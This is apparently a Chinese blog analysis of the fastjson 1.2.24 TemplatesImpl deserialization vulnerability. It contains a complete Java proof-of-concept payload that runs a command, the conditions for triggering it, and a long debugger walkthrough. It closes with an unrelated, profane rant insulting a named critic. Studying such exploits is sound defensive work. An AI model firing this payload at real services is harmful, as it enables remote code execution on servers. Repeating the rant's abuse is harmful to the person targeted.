maven:
<dependencies>
<dependency>
<groupId>commons-codec</groupId>
<artifactId>commons-codec</artifactId>
<version>1.10</version>
</dependency>
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.19.0-GA</version>
</dependency>
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.24</version>
</dependency>
</dependencies>
import com.alibaba.fastjson.JSON;### 利用链
1.JDK7u21 com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
poc
package com.akkacloud.demo;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.codec.binary.Base64;
public class fastjsonTest {
public static class test{}
public static void main(String[] args) throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass cc = pool.get(test.class.getName());
String cmd = "java.lang.Runtime.getRuntime().exec(\"open
/System/Applications/Calculator.app\");";
cc.makeClassInitializer().insertBefore(cmd);
String randomClassName = "akka1" + System.nanoTime();
cc.setName(randomClassName);
cc.setSuperclass((pool.get(AbstractTranslet.class.getName())));byte[] evilCode = cc.toBytecode();
String evilCode_base64 = Base64.encodeBase64String(evilCode);
System.out.println(evilCode_base64);
final String NASTY_CLASS =
"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
String payload =
"{\"" +
"@type\":\"" + NASTY_CLASS + "\"," + "\"" +
"_bytecodes\":[\"" + evilCode_base64 + "\"]," +
"'_name':'asd','" +
"_tfactory':{ },\"" +
"_outputProperties\":{ }," + "\"" +
"_version\":\"1.0\",\"" +
"allowedProtocols\":\"all\"}\n";
ParserConfig config = new ParserConfig();
Object obj = JSON.parseObject(payload, Object.class, config,
Feature.SupportNonPublicField);
}
}
漏洞利用条件
1.服务端使用parseObject()时,必须使用如下格式才能触发漏洞:
JSON.parseObject(input,
Object.class, Feature.SupportNonPublicField)
2.服务端使用parse()时,需要
JSON.parse(text1,Feature.SupportNonPublicField)
漏洞调试
我们在parseObject下断点,我们跟进 parseObject方法
然后我们跟进parseObject方法
这里的第一个参数就是我们的payload 所以我们跟进去 可以看到
此时的input就是我们的恶意字符 我们跟进去
可以看到我们来到了他的重载方法 此时的input依旧是我们的恶意字符 这里比较了一下
featureValues 和 feature 然后实例化了DefaultJSONParser这个类 因为这里存在我们input的恶
意字符 所以我们跟进去
来到了他的重载方法 我们继续跟进
可以看到 我们进入到了JSONScanner方法 这里将我们的input恶意字符 赋值给了text 然后获取它的长度 然后调用了next方法 我们跟进去
可以看到我们来到了DefaultJSONParser的重载方法
此时将input 赋值给input 然后此时我们的lexer里面存储的就是恶意字符串的对象
然后我们往下走 可以看到此时lexer.getCurrent();
返回的就是我们的 "{" 所以我们进入if 这里if里面又调用了lexer.next方法
上面我们看到过 当时lexer里面存储着next的恶意对象
此时进行调用然后我们往下走可以看到
这里lexer.token被赋值为了12 我们返回Json.class
我们来到这里 这里又调用了parseObject方法 所以我们跟进去
可以看到 此时判断了token
因为我们在DefaultJSONParser对象里面的方法里面赋值为了12
然后获取一个ObjectDeserializer对象 去调用了deserialze方法 我们跟进去
进入到deserialze方法之后 此时我们上一步传进去的this被赋值给了parser
然后判断是不是GenericArrayType类型
我们传进去的是object.class
进入else
type instanceof Class&& type != Object.class && type != Serializable.class
为ture则调用
parser.parseObject(type) 否则调用parser.parse(fieldName),这里肯定是flase的进入parser.parse(fieldName) 因为type 就是Object.class 我们继续跟进
这里我们来到了parse方法 首先将lexer复制给了JSONLexer 可以看到this.lexer是包含我们的恶意
对象的 然后进行token判断 我们当时赋值的token为12 所以我们直接定位到12
来到token为12这里 这里是一个常量 他所对应的值就是12 这里调用了parseObject方法· 所以我们跟进去
因为token等于12 所以我们直接来到else 因为前面条件都不成立 这里进行判断如果ch == " 的话,他进入if 前面我们赋值过ch 当时赋值的ch是等于" 所以我们进入if 这里调用了scanSymbol方法,这里传进去两个参数 一个是symbolTable 一个是 双引号 我们可以清楚的看到 此时的,symbolTable就是@Type
然后我们往下走
此时来到这里 可以清楚的看到此时的key就是@Type 这里进行了判断 如果key为
JSON.DEFAULT_TYPE_KEY的话 进入if 其实JSON.DEFAULT_TYPE_KEY返回的就是@Type 所以我们进入if
我们跟进去scanSymbol方法查看 可以看到它进行一系列的字符串获取 @type字段传进去的值 赋值给ref 其实就是我们的templatesImpl
然后通过loadClass进行实例化该类 可以清楚的看到此时的typeName就是我们的templatesImpl我们继续往下走
判断是不是Class对象
很明显是,继续跟进ParserConfig的this.getDeserializer((Class)type,type);
走到这我们也可以发现class就是我们在@type存入的东西TemplatesImpl
然后接着往下走 这里创建了一个反序列化的bean
进去对clazz进行了一系列的赋值
然后我们来到了JavaBeanInfo.build方法 然后我们跟进去
这里来到了build方法
这里我们可以看到这里通过遍历获取到了templatesImpl的get以及set方法
这里只贴一个get方法的图
@Type拿到类之后 通过反射拿到这个类的所有方法存到methods中 然后遍历获取get以及set方法 然后我们来到propertyName这里 这里可以看到循环获取方法名getOutputProperties,然后进入循环,然后根据红框,从第四位取起,然后变成小写 所以propertyName就是outputProperties
然后进行判断ieldList这个数组里面有没有这个方法,没有就把他加进去,再返回JavaBeanInfo
然后我们返回DefaultJSONParser 然后可以看到这里的deserialze已经包含了我们的beaninfo(存放了outputpropertie 我们跟进去deserialze方法
经过两次重载方法 此时我们来到deserialze方法
我们可以看到 sortedFieldDeserializers中存放了我们的outputproperties 从构造函数中可以看到是通过beanInfo赋值得到的
剩下就是循环Json数据 然后我们定位到parseField方法
继续调用了smartMatch方法 我们跟进去
进入后判断一下有没有key的fieldDeserializer
如果没有就把_bytecodes替换为bytecodes
然后我们进入到进入到com.alibaba.fastjson.parser.deserializer的
DefaultFieldDeserializer的parseField方法
我继续走到this.setValue(object, value)
此处传的object是TemplatesImpl ,value为恶意代码类的字节,value就是通过parser读取出来的
这个过程会在JavaBeanDeserializer循环进行
知道获取完所有的json字段,直到method !=null
我们的json字段中只有_outputProperties符合,成功进入if,然后反射执行
知识星球的文章以后由我来更新
月球那件事情别问了,出事了不方便讲 还有发文章的那个B,你妈的脑子有问题吧?挂人挂团队?你亲戚是诈骗犯你也是诈骗犯是不是,一棒子打死一船人?
聊天没一点素质没一点脑子,加上好友直接问 被跑也是活该